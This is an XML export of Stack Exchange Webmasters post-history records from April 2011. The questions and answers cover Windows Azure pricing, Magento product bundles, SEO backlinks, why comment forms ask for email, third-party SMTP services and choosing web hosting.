  <row Id="27661" PostHistoryTypeId="17" PostId="12138" RevisionGUID="5c8b4214-9942-46bf-8be1-54d4e45557af" CreationDate="2011-04-13T13:50:53.720" UserId="-1" Comment="from http://stackoverflow.com/questions/5645001/i-have-a-question-about-windows-azure-compute-pricing-and-perhaps-other-compute-p/5645339#5645339" Text="" />
  <row Id="27662" PostHistoryTypeId="17" PostId="12139" RevisionGUID="11e2d34b-14fb-45c1-bc87-338104149338" CreationDate="2011-04-13T13:50:53.720" UserId="-1" Comment="from http://stackoverflow.com/questions/5645001/i-have-a-question-about-windows-azure-compute-pricing-and-perhaps-other-compute-p/5645401#5645401" Text="" />
  <row Id="27663" PostHistoryTypeId="2" PostId="12137" RevisionGUID="d4a5df30-0048-400e-8df9-81f40b7928fc" CreationDate="2011-04-13T06:05:00.230" UserDisplayName="Chandermani" Text="For Windows Azure you start getting charged as soon as you occupy\reserve a compute instance, irrespective of whether that instance is started or not. So it does not depend upon actual CPU usage. Answer to your question is, as long there is a site hosted in Azure it would keep getting charged. Even shutting down your instance would not stop billing.&#xD;&#xA;I believe if you are looking for a low cost hosting with limit features Azure may not be a right fit." />
  <row Id="27664" PostHistoryTypeId="2" PostId="12138" RevisionGUID="9804e39b-e863-44d7-9182-88ae68f672ce" CreationDate="2011-04-13T06:38:42.380" UserDisplayName="Gaurav Mantri" Text="Adding to what Chandermani has mentioned above, you would really need to see if Windows Azure would be right fit for you. If you're running a website which gets very small hits, Windows Azure may not be a right fit for you to begin with. I think the advantage of using Windows Azure (or any cloud services provider) would come into picture when you need to scale up or down on demand (elasticity). Say for example, you've built a Facebook game and initially you have 100 users users per day. That kind of workload you can probably handle through either a shared or dedicated hosting provider. Now imagine that your game is hugely successful and suddenly you started to get 1000 users per day. This is where Windows Azure would give you the chance to seamlessly add more servers on which you can host your applications without actually committing to the hardware resources. In short you get the capability to scale up/down very easily with Windows Azure which you'll not get in a traditional hosting environment.&#xD;&#xA;&#xD;&#xA;There is also a TCO calculator for Windows Azure which you can find here: http://www.microsoft.com/windowsazure/economics/&#xD;&#xA;&#xD;&#xA;Hope this helps.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;Gaurav Mantri&#xD;&#xA;&#xD;&#xA;Cerebrata Software&#xD;&#xA;&#xD;&#xA;http://www.cerebrata.com  " />
  <row Id="27665" PostHistoryTypeId="2" PostId="12139" RevisionGUID="2942ea6b-a017-44d0-b186-68f95a272ce7" CreationDate="2011-04-13T06:46:07.710" UserDisplayName="Doobi" Text="Azure instances will cost you about $90 per CPU per month irrespective of actual usage. It is expensive for a small app, so either:&#xD;&#xA;&#xD;&#xA; 1. Stick with shared hosting&#xD;&#xA; 2. Look at being creative with using static content like blob store and REST&#xD;&#xA; 3. Look at something like Appharbour http://appharbor.com/" />
  <row Id="27666" PostHistoryTypeId="2" PostId="12136" RevisionGUID="2a62d3e3-788d-4c8f-9652-4e705067faed" CreationDate="2011-04-13T05:55:31.250" UserDisplayName="conjure" Text="I've just started to test the Windows Azure webrole in a staging environment and selected the 'small' instance.  The pricing is .12\hour.  If it's enabled (even in staging) does that mean I'm charged every hour it's enabled where there is any computing costs or not?  So, for example, if no one visits the website from midnight to 5am CST, would I be charged those 5 hours?  60 cents doesn't mean much but over the course of a year it's $219.  I can get an entire year of hosting a small website at discountasp.net for under that. I'm actually thinking that MS would charge it based on seconds where computing is happening and charge by an hour after that but not sure.  If not, I don't see why anyone would put a website on Azure of other discounted hosting providers.  If anyone has a link showing the caculator for computing costs, please let me know.  " />
  <row Id="27667" PostHistoryTypeId="1" PostId="12136" RevisionGUID="2a62d3e3-788d-4c8f-9652-4e705067faed" CreationDate="2011-04-13T05:55:31.250" UserDisplayName="conjure" Text="I have a question about Windows Azure compute pricing and perhaps other compute pricing methods as well." />
  <row Id="27668" PostHistoryTypeId="3" PostId="12136" RevisionGUID="2a62d3e3-788d-4c8f-9652-4e705067faed" CreationDate="2011-04-13T05:55:31.250" UserDisplayName="conjure" Text="&lt;untagged&gt;" />
  <row Id="27669" PostHistoryTypeId="17" PostId="12136" RevisionGUID="961cc727-95cf-4a18-a883-c881aa26ff3e" CreationDate="2011-04-13T13:50:53.720" UserId="-1" Comment="from http://stackoverflow.com/questions/5645001/i-have-a-question-about-windows-azure-compute-pricing-and-perhaps-other-compute-p" Text="" />
  <row Id="27670" PostHistoryTypeId="2" PostId="12140" RevisionGUID="8507a95b-10d1-43c3-b556-a424f2e859d0" CreationDate="2011-04-13T13:53:07.200" UserId="4306" Text="I think that [Atmail][1] might be a good solution for you.&#xD;&#xA;&#xD;&#xA;A suitable configuration might be:&#xD;&#xA;&#xD;&#xA;* Atmail Server&#xD;&#xA;* Hosted Cloud&#xD;&#xA;* ISP license&#xD;&#xA;&#xD;&#xA;Works out to be USD0.50/month for 3GB storage, which is way under your EUR20/year budget.&#xD;&#xA;&#xD;&#xA;You can work out your own configuration here:&#xD;&#xA;&#xD;&#xA;* http://www.atmail.com/store/&#xD;&#xA;&#xD;&#xA;  [1]: http://www.atmail.com/" />
  <row Id="27671" PostHistoryTypeId="17" PostId="12142" RevisionGUID="8bca6e4f-f1a8-4335-91a4-b637f5092b7d" CreationDate="2011-04-13T13:56:29.390" UserId="-1" Comment="from http://stackoverflow.com/questions/5647395/how-to-offer-two-different-packages-of-a-product-with-two-different-prices/5647726#5647726" Text="" />
  <row Id="27672" PostHistoryTypeId="2" PostId="12142" RevisionGUID="99d9a674-e2be-410d-89ef-350ce8b4d7fb" CreationDate="2011-04-13T10:31:40.967" UserDisplayName="WebFlakeStudio" Text="I think you should use configurable product for this." />
  <row Id="27673" PostHistoryTypeId="2" PostId="12141" RevisionGUID="3ba9632e-e39c-4912-9ed3-2d17dc09a9bd" CreationDate="2011-04-13T10:00:29.400" UserDisplayName="shame" Text="Buy Standard and buy developer !!!&#xD;&#xA;Buy Standard will be having low price and will include only one product whereas, buy developer will be having relatively higher price and will offer some extra product for free?&#xD;&#xA;" />
  <row Id="27674" PostHistoryTypeId="1" PostId="12141" RevisionGUID="3ba9632e-e39c-4912-9ed3-2d17dc09a9bd" CreationDate="2011-04-13T10:00:29.400" UserDisplayName="shame" Text="how to offer two different packages of a product with two different prices ???" />
  <row Id="27675" PostHistoryTypeId="3" PostId="12141" RevisionGUID="3ba9632e-e39c-4912-9ed3-2d17dc09a9bd" CreationDate="2011-04-13T10:00:29.400" UserDisplayName="shame" Text="&lt;magento&gt;" />
  <row Id="27676" PostHistoryTypeId="17" PostId="12141" RevisionGUID="d20e7fb3-c10e-4827-a39b-0599cb299943" CreationDate="2011-04-13T13:56:29.390" UserId="-1" Comment="from http://stackoverflow.com/questions/5647395/how-to-offer-two-different-packages-of-a-product-with-two-different-prices" Text="" />
  <row Id="27677" PostHistoryTypeId="2" PostId="12143" RevisionGUID="62e89b3f-a385-475f-ad43-8c328f3eed33" CreationDate="2011-04-13T13:57:44.047" UserId="1253" Text="FYI, this won't hurt your website from an SEO point of view. One way backlinks can **never** hurt you. If they could then tactics like this would be an easy way to sabotage your competition. At worst, one way backlinks have **no value**. This is probably the case with the links you are referring to. The only way these links can harm you is if *you link back to them*. Once you do that you run the risk of being seen as part of a link scheme or link farm. That's when the penalties come into play.&#xD;&#xA;&#xD;&#xA;If you're worried about your company's reputation I still wouldn't worry about it as the only people who actually check to see who is linking to your site is competitors and people doing SEO research (which is usually your competitors). Normal people don't check and almost certainly have no idea what a backlink is much less what a high or poor quality one is.&#xD;&#xA;&#xD;&#xA;But to answer your specific questions, no, there is no way to discredit them or disavow them. You can't control who links to you or who sees those links. You can do as Ben recommended and contact the site administrators to let them know of their potential security problems and request the links be removed. But in practice that's probably not a good use of your time as the links aren't hurting you, and although unlikely but still possible, they may even be helping you if they have any value at all." />
  <row Id="27678" PostHistoryTypeId="5" PostId="12129" RevisionGUID="c967ce13-863a-4304-aaeb-6fa94f112c79" CreationDate="2011-04-13T13:59:10.253" UserId="3922" Comment="removed salutation and signature; tried to clarify" Text="I've been optimizing my website for search engines, and for some reason I have a crawl error on a page that has not been found at 'www.peach-designs.com/a' which is not a page, is not a link, or is not anything on my site.  I've checked my code and I'm only left to assume that this is a link to a page (a href, etc.).&#xD;&#xA;&#xD;&#xA;Is this common for other websites?" />
  <row Id="27679" PostHistoryTypeId="24" PostId="12129" RevisionGUID="c967ce13-863a-4304-aaeb-6fa94f112c79" CreationDate="2011-04-13T13:59:10.253" Comment="Proposed by 3922 approved by 1253 edit id of 112" />
  <row Id="27680" PostHistoryTypeId="5" PostId="12138" RevisionGUID="68f3a3d1-67dd-4cff-ae9f-074ff10030b1" CreationDate="2011-04-13T14:00:00.583" UserId="1253" Comment="Removed signature with self promotional link" Text="Adding to what Chandermani has mentioned above, you would really need to see if Windows Azure would be right fit for you. If you're running a website which gets very small hits, Windows Azure may not be a right fit for you to begin with. I think the advantage of using Windows Azure (or any cloud services provider) would come into picture when you need to scale up or down on demand (elasticity). Say for example, you've built a Facebook game and initially you have 100 users users per day. That kind of workload you can probably handle through either a shared or dedicated hosting provider. Now imagine that your game is hugely successful and suddenly you started to get 1000 users per day. This is where Windows Azure would give you the chance to seamlessly add more servers on which you can host your applications without actually committing to the hardware resources. In short you get the capability to scale up/down very easily with Windows Azure which you'll not get in a traditional hosting environment.&#xD;&#xA;&#xD;&#xA;There is also a TCO calculator for Windows Azure which you can find here: http://www.microsoft.com/windowsazure/economics/&#xD;&#xA;&#xD;&#xA;Hope this helps.&#xD;&#xA;" />
  <row Id="27681" PostHistoryTypeId="2" PostId="12144" RevisionGUID="2b893985-2a36-4604-982c-975dd838b686" CreationDate="2011-04-13T14:00:38.227" UserId="6634" Text="Yes, it's worth your time to write optimized titles and meta descriptions or to have someone else write them. Titles are probably the single most important ranking factor. Meta descriptions aren't counted as a ranking factor directly in google, but are very important to click-through rate, which is a ranking factor.&#xD;&#xA;&#xD;&#xA;When writing titles and meta descriptions, don't just try to squeeze as many keywords in there as possible. Use keywords to explain *what* is on the page and *why* someone should click to read it. I ike to keep my titles around 55-65 characters and my meta descriptions around 145-155 characters. I also use pipelines (|) in titles to approximate site hierarchy." />
  <row Id="27682" PostHistoryTypeId="5" PostId="12141" RevisionGUID="c4c4dc3f-910f-44cc-a323-a917fd504630" CreationDate="2011-04-13T14:03:01.250" UserId="1253" Comment="Reworded the question to make sense" Text="I wish to offer an item for sale as two different packages. Package 1 will be the product by itself and Package 2 will be the product with a free gift. How do I do this in Magento?&#xD;&#xA;" />
  <row Id="27683" PostHistoryTypeId="4" PostId="12141" RevisionGUID="c4c4dc3f-910f-44cc-a323-a917fd504630" CreationDate="2011-04-13T14:03:01.250" UserId="1253" Comment="Reworded the question to make sense" Text="How can I offer two different packages of a product with two different prices in Magneto?" />
  <row Id="27684" PostHistoryTypeId="5" PostId="12143" RevisionGUID="484eaa8f-4d81-47f0-b024-6e887497cd85" CreationDate="2011-04-13T14:21:49.683" UserId="1253" Comment="added 73 characters in body" Text="FYI, this won't hurt your website from an SEO point of view. Unsolicited one way backlinks can **never** hurt you (if you purchase links those one way backlinks can hurt you). If they could then tactics like this would be an easy way to sabotage your competition. At worst, one way backlinks have **no value**. This is probably the case with the links you are referring to. The only way these links can harm you is if *you link back to them*. Once you do that you run the risk of being seen as part of a link scheme or link farm. That's when the penalties come into play.&#xD;&#xA;&#xD;&#xA;If you're worried about your company's reputation I still wouldn't worry about it as the only people who actually check to see who is linking to your site is competitors and people doing SEO research (which is usually your competitors). Normal people don't check and almost certainly have no idea what a backlink is much less what a high or poor quality one is.&#xD;&#xA;&#xD;&#xA;But to answer your specific questions, no, there is no way to discredit them or disavow them. You can't control who links to you or who sees those links. You can do as Ben recommended and contact the site administrators to let them know of their potential security problems and request the links be removed. But in practice that's probably not a good use of your time as the links aren't hurting you, and although unlikely but still possible, they may even be helping you if they have any value at all." />
  <row Id="27691" PostHistoryTypeId="25" PostId="12128" RevisionGUID="e697829c-8bfd-48ea-aad1-74c49e33d6a1" CreationDate="2011-04-13T15:09:11.023" Comment="http://twitter.com/#!/StackWebmasters/status/58184964159717376" />
  <row Id="27692" PostHistoryTypeId="2" PostId="12146" RevisionGUID="97065751-4159-49f6-8b8f-3b00ca39a579" CreationDate="2011-04-13T16:58:45.770" UserId="4064" Text="The purpose of having such a pseudo-external page is to avoid passing pagerank to other sites. If you can´t find noindex and/or nofollow tags inside the page maybe they are using javascript for adding the link and hiding it from robots, it would be easy, your url is contained in the pseudo-external url.&#xD;&#xA;&#xD;&#xA;What happens if you disable JS in your browser? Does the link still appears in the page? If not surely you won't get any pagerank from there." />
  <row Id="27693" PostHistoryTypeId="2" PostId="12147" RevisionGUID="0b631077-4ed5-43ae-8f5f-77be9d44d54c" CreationDate="2011-04-13T17:04:22.910" UserId="5264" Text="So I have a site that is developed in ASP.NET MVC2. I use a local instance of SQL Server 2008 R2 to test with, and that's where all my tables/stored procs/etc. are.&#xD;&#xA;&#xD;&#xA;Now, I want find a web server for the site and make it available to the public, and still use SQL Server as the back-end so I can just like, copy my settings over and not have to change anything.&#xD;&#xA;&#xD;&#xA;Someone brought up Amazon EC2 to me. They said I can serve my site there, and have it work exactly the same (run on a Windows Server and use a SQL Server back-end). I have NO IDEA how to go about this. I've read through http://aws.amazon.com/ec2/ and it just confuses the hell out of me. I've never done something like this before.&#xD;&#xA;&#xD;&#xA;All of the different plans confuse me. Do they include data storage? How come they say something like &#xD;&#xA;&#xD;&#xA;&gt; 160 GB of local instance storage&#xD;&#xA;&#xD;&#xA;when talking about one of their Standard Instance plans, but then at the bottom, Data Storage prices are talked about separately? Would I have to change anything about the way my application sends/receives data from SQL Server in order to have it up and running to the public using Amazons service?&#xD;&#xA;&#xD;&#xA;Also, do I just like...copy all of my code over to Windows Server, set it up in IIS, copy my database into their SQL Server instance, and it's good to go?&#xD;&#xA;&#xD;&#xA;I'm just really really confused, and I hope someone hear can shed some light on everything for me. Thanks!" />
  <row Id="27694" PostHistoryTypeId="1" PostId="12147" RevisionGUID="0b631077-4ed5-43ae-8f5f-77be9d44d54c" CreationDate="2011-04-13T17:04:22.910" UserId="5264" Text="Just really confused about setting up my site on Amazon EC2" />
  <row Id="27695" PostHistoryTypeId="3" PostId="12147" RevisionGUID="0b631077-4ed5-43ae-8f5f-77be9d44d54c" CreationDate="2011-04-13T17:04:22.910" UserId="5264" Text="&lt;web-hosting&gt;&lt;asp.net-mvc&gt;&lt;sql-server&gt;&lt;amazon-ec2&gt;" />
  <row Id="27696" PostHistoryTypeId="2" PostId="12148" RevisionGUID="afbb68a0-6630-4d21-ad28-3d58f4ada94f" CreationDate="2011-04-13T17:25:37.797" UserId="6807" Text="Just about every web site comment form I see (other than for web sites requiring registration to comment) asks for name [required], email [required, but will not be displayed] and web site [optional].  It doesn't matter what you put in the email field, so why ask?  Just tradition?" />
  <row Id="27697" PostHistoryTypeId="1" PostId="12148" RevisionGUID="afbb68a0-6630-4d21-ad28-3d58f4ada94f" CreationDate="2011-04-13T17:25:37.797" UserId="6807" Text="why email needed for comments" />
  <row Id="27698" PostHistoryTypeId="3" PostId="12148" RevisionGUID="afbb68a0-6630-4d21-ad28-3d58f4ada94f" CreationDate="2011-04-13T17:25:37.797" UserId="6807" Text="&lt;comments&gt;" />
  <row Id="27699" PostHistoryTypeId="2" PostId="12149" RevisionGUID="942ccfce-7a72-45d6-b03c-83c712694aaf" CreationDate="2011-04-13T17:37:44.287" UserId="6113" Text="Sometimes there is an option to be informed about replies and e-mail is a natural option for such situations. It may also come down to trust that people who leave comments provide correct addresses so that you know that somebody has already commented before. This way you do not need to rely only on IPs and cookies.&#xD;&#xA;&#xD;&#xA;What is more, there are websites and services that let you create an account and claim comments left under the e-mail address you have registered with. Disqs does it, for example." />
  <row Id="27700" PostHistoryTypeId="2" PostId="12150" RevisionGUID="20badf7f-40c9-488a-bb1f-b078a80113e1" CreationDate="2011-04-13T17:40:44.673" UserId="6746" Text="Maybe it will be needed for you to get contacted, maybe you will be sent an email when you get an answer to a question or sometimes you must be held responsible for what you've said if you break the rules of that forum/website. Or maybe a certain forum post can win a prize and how can you prove that it's yours if it weren't for your email address? :)&#xD;&#xA;" />
  <row Id="27701" PostHistoryTypeId="5" PostId="12039" RevisionGUID="1bf543e3-04cd-4498-8e2f-358c84c3e561" CreationDate="2011-04-13T17:50:37.057" UserId="151" Comment="added 41 characters in body" Text="If you are looking for more control, you could do what I did. I use a sub-domain of personal domain that I own to point to myopenid. So if myopenid ever goes under, has problems, turns evil, etc, I can change providers without changing my openid url.&#xD;&#xA;&#xD;&#xA;Edit: it is called OpenID Delegation " />
  <row Id="27705" PostHistoryTypeId="2" PostId="12152" RevisionGUID="f6563b35-2289-42b6-bebd-caf7b3b1b668" CreationDate="2011-04-13T18:03:31.823" UserId="6353" Text="bestattendance - In addition to the Jirox.net site Kevin Mark suggested, try [Da Button Factory][1].  The interface is a little less finicky.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dabuttonfactory.com/" />
  <row Id="27706" PostHistoryTypeId="25" PostId="12148" RevisionGUID="ee003a2f-2d5e-4e51-80a8-87d678db92a1" CreationDate="2011-04-13T18:09:11.877" Comment="http://twitter.com/#!/StackWebmasters/status/58230266749136896" />
  <row Id="27724" PostHistoryTypeId="2" PostId="12156" RevisionGUID="e9d892cc-bcd9-4aaf-ae8e-8fa256ce4692" CreationDate="2011-04-13T19:50:41.243" UserId="4595" Text="**Key Advantages of a Third Party Mail Sending Solution:**&#xD;&#xA;&#xD;&#xA; - Onus of deliverability falls on them; no having to figure out issues by yourself&#xD;&#xA; - Have the infrastructure to be able to handle larger marketing initiatives and dedicated IPs to build your reputation with&#xD;&#xA; - Can buy as necessary; don't need it after three months? No problem, you can close up your account and be done until you need it again&#xD;&#xA; - Reporting and metrics; when you need to find out how many were successfully sent, how many bounced back, how many were opened, how many clicks you received, etc&#xD;&#xA;&#xD;&#xA;**Disadvantages of a Third Party Mail Sending Solution:**&#xD;&#xA;&#xD;&#xA; - Not all of them support marketing campaigns or bulk emails&#xD;&#xA; - Costs money&#xD;&#xA;&#xD;&#xA;However, I will say that the costs of a third party provider are not that bad - especially when you compare them to having to build and maintain your own solution. (Remember that your time is a cost as well!)&#xD;&#xA;&#xD;&#xA;If you are looking for just the reporting aspect, you should check out [PostageApp][1], it can be built into your existing SMTP infrastructure so you can achieve a better level of control with the emails you are sending out.&#xD;&#xA;&#xD;&#xA;(**Full Disclosure:** I am the Product Manager of PostageApp.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.postageapp.com" />
  <row Id="27725" PostHistoryTypeId="2" PostId="12157" RevisionGUID="ea7345b1-ec07-4d9c-a826-a39ed073c30f" CreationDate="2011-04-13T20:31:21.697" UserId="6101" Text="You won't be able to achieve it **straight out of the box**.&#xD;&#xA;&#xD;&#xA;However, there used to be some modifications that try to address exactly the situation you have:&#xD;&#xA;&#xD;&#xA; - [Self Auth MOD][1]&#xD;&#xA; - [The Wizard's Self Auth Mod][2]&#xD;&#xA; - [Topics Only Visible to OP 0.8.1][3]&#xD;&#xA;&#xD;&#xA;The problem is **most of them are a bit outdated** (abandoned by the original developer), so you **can't be sure they will work without modifications** in the current version of the forum software. But it's probably easier to fix some small problems that occur on the way, than to write a new modification from scratch.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.phpbb.com/community/viewtopic.php?f=70&amp;t=1305895&#xD;&#xA;  [2]: http://www.phpbb.com/community/viewtopic.php?f=70&amp;t=553033&#xD;&#xA;  [3]: http://www.phpbb.com/community/viewtopic.php?f=70&amp;t=543859" />
  <row Id="27726" PostHistoryTypeId="2" PostId="12158" RevisionGUID="ec375a64-002e-438a-b189-99befe135db8" CreationDate="2011-04-13T20:32:13.890" UserId="6812" Text="A lot of the time, it wants to know you're a real person--whether that is for the sake of the other two answers to this question by Michal Gancarski and Keiki. Usually, with some amount of bot/spider capturing software on the webserver, fake e-mails can get flagged, such as on domain hosts, that help add that *little* bit of security.&#xD;&#xA;&#xD;&#xA;Of course, it's much more likely that they use it for other reasons as stated by the authors I mentioned. That is, to know who has commented before, to verify through e-mail sending that you're a real person (even more reliable than what I mentioned above, which might only weed out less than 1% of bots that scrawl your site), etc.&#xD;&#xA;&#xD;&#xA;It's funny, that is even the case on Stack Overflow!" />
  <row Id="27727" PostHistoryTypeId="5" PostId="12126" RevisionGUID="228217be-bb07-438b-8c21-abb34e243212" CreationDate="2011-04-13T20:38:42.777" UserId="6703" Comment="added Reverse DNS" Text="Wondering what the benefits are from switching from our own SMTP server to an SMTP service.&#xD;&#xA;&#xD;&#xA;They all seem to talk about handling the deliverability issues. However our server is set up with reverse DNS, SPF records, DomainKeys, DKIM and SenderID. We've not yet heard about deliverability issues with our own server. Additionally SenderScore is reporting 99/100.&#xD;&#xA;&#xD;&#xA;So why use an SMTP service?&#xD;&#xA;&#xD;&#xA;PS: we'll be wishing to send a larger than normal marketing email so this would increase the volume of email from our server in a relatively short period of time" />
  <row Id="27728" PostHistoryTypeId="2" PostId="12159" RevisionGUID="75a7384e-3fd4-49d5-8f84-3b85f29538da" CreationDate="2011-04-13T20:47:19.317" UserId="5464" Text="I think your basic issue is the back links to the site as these give the search engines an entry point to the site and make them aware of it. So although they will not display a description for the site they may show the URL if they think its the best match for the result.&#xD;&#xA;&#xD;&#xA;Have a read of this article linked to from the one @joe posted: [Matt Cutts keeping google out][1]&#xD;&#xA;&#xD;&#xA;The key bit is: &#xD;&#xA;&#xD;&#xA;&gt; There’s a pretty good reason for that: back when I started at Google in 2000, several useful websites (eBay, the New York Times, the California DMV) had robots.txt files that forbade any page fetches whatsoever. Now I ask you, what are we supposed to return as a search result when someone does the query [california dmv]? We’d look pretty sad if we didn’t return www.dmv.ca.gov as the first result. But remember: we weren’t allowed to fetch pages from www.dmv.ca.gov at that point. The solution was to show the uncrawled link when we had a high level of confidence that it was the correct link. Sometimes we could even pull a description from the Open Directory Project, so that we could give a lot of info to users even without fetching the page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The research you have done also covers things quiet well and the answers by @john and @joe are both relevant. I have included a link below which gives some further guidance on blocking search engines. The only way i can think to completely block the site would be to add some form of password protection in front of the site that needs to be completed before the content is displayed. &#xD;&#xA;&#xD;&#xA;[SEOMoz tips on not appearing in search][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mattcutts.com/blog/googlebot-keep-out/&#xD;&#xA;  [2]: http://www.seomoz.org/blog/12-ways-to-keep-your-content-hidden-from-the-search-engines" />
  <row Id="27732" PostHistoryTypeId="2" PostId="12161" RevisionGUID="aca6f902-e0d7-4b03-a3d9-023dae35a0d5" CreationDate="2011-04-13T20:54:55.463" UserId="6703" Text="This site seems to use Helvetica Neue. We got it as part of our logo that was designed (as that uses the font).&#xD;&#xA;&#xD;&#xA;I dont like the font in websites. When text is small, especially bold, the 'c' and 'o' is really not clear at all. In fact I stopped visiting Digg as they have this set as their main font and I really couldn't read it." />
  <row Id="27736" PostHistoryTypeId="2" PostId="12162" RevisionGUID="8889e71b-5f1a-4841-9499-145b9449fd72" CreationDate="2011-04-13T20:59:44.180" UserId="6703" Text="Simple way, download a 10MB/100MB file from here:&#xD;&#xA;http://cachefly.cachefly.net/10mb.test or http://cachefly.cachefly.net/100mb.test and save on your PC.&#xD;&#xA;&#xD;&#xA;Then just time the upload/download to the website in question.&#xD;&#xA;&#xD;&#xA;Say you use the 10MB and it takes 70 seconds to upload. Then the speed is 10/70 = 0.142857 MB/s = 146.2857 KB/s" />
  <row Id="27737" PostHistoryTypeId="2" PostId="12163" RevisionGUID="5ae92ba4-37f8-4344-9c6d-e2bfc1f6497c" CreationDate="2011-04-13T21:00:05.930" UserId="6634" Text="This is exactly what the rel=canonical is for. Feel free to go ahead and use it." />
  <row Id="27738" PostHistoryTypeId="2" PostId="12164" RevisionGUID="5d031ada-bc61-4c7b-88fe-c3ed5ecac8f0" CreationDate="2011-04-13T21:02:46.860" UserId="6703" Text="I'm maybe being old fashioned but I'd just get a (managed/semi-managed) dedicated server. If you can figure out Amazon AWS then you can handle your own server.&#xD;&#xA;&#xD;&#xA;You can easily find a server with &gt;1TB HDD and &gt;10TB bandwidth for well under $300 managed." />
  <row Id="27739" PostHistoryTypeId="5" PostId="12163" RevisionGUID="92fe2b13-e708-4c76-b29d-2d1723df01f5" CreationDate="2011-04-13T21:06:21.430" UserId="6634" Comment="added some info" Text="This is exactly what the rel=canonical is for. Here's an introduction to why Google introduced the canonical tag and how to get started using it:&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?answer=139394" />
  <row Id="27740" PostHistoryTypeId="2" PostId="12165" RevisionGUID="9aaf82f9-4286-4f51-a2db-f9aa38ff56c3" CreationDate="2011-04-13T21:08:45.513" UserId="6814" Text="I have a webiste about Bolivia and theirs destinations. This project is hosted on GoDaddy and have been modified by many differents teams... I do not understand why sometimes the most relevant querries are 'perfectgirls.net' and other words relative to porn ? Why some porn website have some links to my site ? I just present beautifull places, nothing about porn..&#xD;&#xA;&#xD;&#xA;I think that this is automatic bot crawlink the web, isn t it ?" />
  <row Id="27741" PostHistoryTypeId="1" PostId="12165" RevisionGUID="9aaf82f9-4286-4f51-a2db-f9aa38ff56c3" CreationDate="2011-04-13T21:08:45.513" UserId="6814" Text="[Google Webmaster Tool] [search querry] [non desired words]" />
  <row Id="27742" PostHistoryTypeId="3" PostId="12165" RevisionGUID="9aaf82f9-4286-4f51-a2db-f9aa38ff56c3" CreationDate="2011-04-13T21:08:45.513" UserId="6814" Text="&lt;google-webmaster-tools&gt;" />
  <row Id="27743" PostHistoryTypeId="25" PostId="12147" RevisionGUID="b6e3c082-5a8e-4cd4-98bc-4b4f7a7412c1" CreationDate="2011-04-13T21:09:11.987" Comment="http://twitter.com/#!/StackWebmasters/status/58275564502532097" />
  <row Id="27744" PostHistoryTypeId="2" PostId="12166" RevisionGUID="05831751-ba5e-43ac-9fdf-a61a741278b8" CreationDate="2011-04-13T21:12:24.843" UserId="5464" Text="I have heard good things about Nagios. Another service i have used in the past was [Monitor us][1] I have also started to read up on selenium for testing. Personally i would want to use at least 2 services perhaps a free web service and some sort of internal system to help mitigate false positives. &#xD;&#xA;&#xD;&#xA;The company where i work uses [Alchemy Eye][2] to monitor sites and services and this has been a pretty good tool. &#xD;&#xA;&#xD;&#xA;With regard to criteria i would look at services offered vs what you require to meet your goals as with a lot of things it will really depend on you circumstances. If you have the technical skills to use and support the free / open source tools then i see not to use them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mon.itor.us/&#xD;&#xA;  [2]: http://www.alchemy-lab.com/products/eye/" />
  <row Id="27745" PostHistoryTypeId="2" PostId="12167" RevisionGUID="fecddc3e-6e14-4a9b-8662-069688bff114" CreationDate="2011-04-13T21:37:59.657" UserDisplayName="Shankar" Text="I am a novice programmer in Website development. Just to get some experience, I am interested to try the following things:&#xD;&#xA;&#xD;&#xA;- Have my own personal website&#xD;&#xA;- Build some Ruby on Rails project for Web Development&#xD;&#xA;- Run some PHP scripts as well&#xD;&#xA;- Would want to have Subversion installed on the Server&#xD;&#xA;- Would like to install either a Continuous Integration Server (CruiseControl.Net or CruiseControl.rb)&#xD;&#xA;- Create a blog in my website (I want to get some hands on experience on this, and thus would not want to go for WordPress, or any CMSLite ready made Blog installers)&#xD;&#xA;- In order to create a blog, I would probably need database instances running (SQL Server or any other)&#xD;&#xA;- In future, I may even want to create a forum type of thing for my website, where users can read and post stuff in it.&#xD;&#xA;- If the above thing works good, I might want to try building a small Social-Networking site&#xD;&#xA;- Would also want to have a email service (Heard that Gmail can be integrated to our Website, not sure how it works)&#xD;&#xA;&#xD;&#xA;I have never done any web development before, except for creating some trivial HTML/CSS pages. In order to achieve the above tasks, please advise me on the following:&#xD;&#xA;&#xD;&#xA;- Does a .com domain name makes more sense? (I was trying for a name, but the .com version of it was already taken. I only have `myname.me` version of it). Is it okay to go for domain.me? Does it make any difference?&#xD;&#xA;- Which Web Hosting do you want me to go for? I was amazed to see several types of services:&#xD;&#xA;&#xD;&#xA;    - Regular Web hosting&#xD;&#xA;    - Reseller Hosting&#xD;&#xA;    - VPS Hosting&#xD;&#xA;    - Hosting on the cloud (Such as Amazon EC2)&#xD;&#xA;&#xD;&#xA;Now, I am tempted to go for either VPS hosting or Amazon EC2. Who would not want to have a dedicated processor and memory? (But, I am not sure, if I really need it for my usage)&#xD;&#xA;&#xD;&#xA;But, this comes for some price! I am ready to pay 15-20$ per month for this. If there is any web hosting provider who can provide me with all the above mentioned support for less than 10$, I am ready to sacrifice having a VPS.&#xD;&#xA;&#xD;&#xA;- I would be glad if I get SSH feature.&#xD;&#xA;&#xD;&#xA;I do not need more than 1-2 GB RAM and 5-10 GB Secondary Storage. Dual core processor is okay too.&#xD;&#xA;&#xD;&#xA;Please help me with this. Also, please let me know if there are any services that are cheap and reliable for me to do the above things. Thanks in advance." />
  <row Id="27746" PostHistoryTypeId="1" PostId="12167" RevisionGUID="fecddc3e-6e14-4a9b-8662-069688bff114" CreationDate="2011-04-13T21:37:59.657" UserDisplayName="Shankar" Text="Suggestions on Website Development" />
  <row Id="27747" PostHistoryTypeId="3" PostId="12167" RevisionGUID="fecddc3e-6e14-4a9b-8662-069688bff114" CreationDate="2011-04-13T21:37:59.657" UserDisplayName="Shankar" Text="&lt;php&gt;&lt;ruby-on-rails&gt;&lt;web-development&gt;&lt;svn&gt;&lt;websites&gt;" />
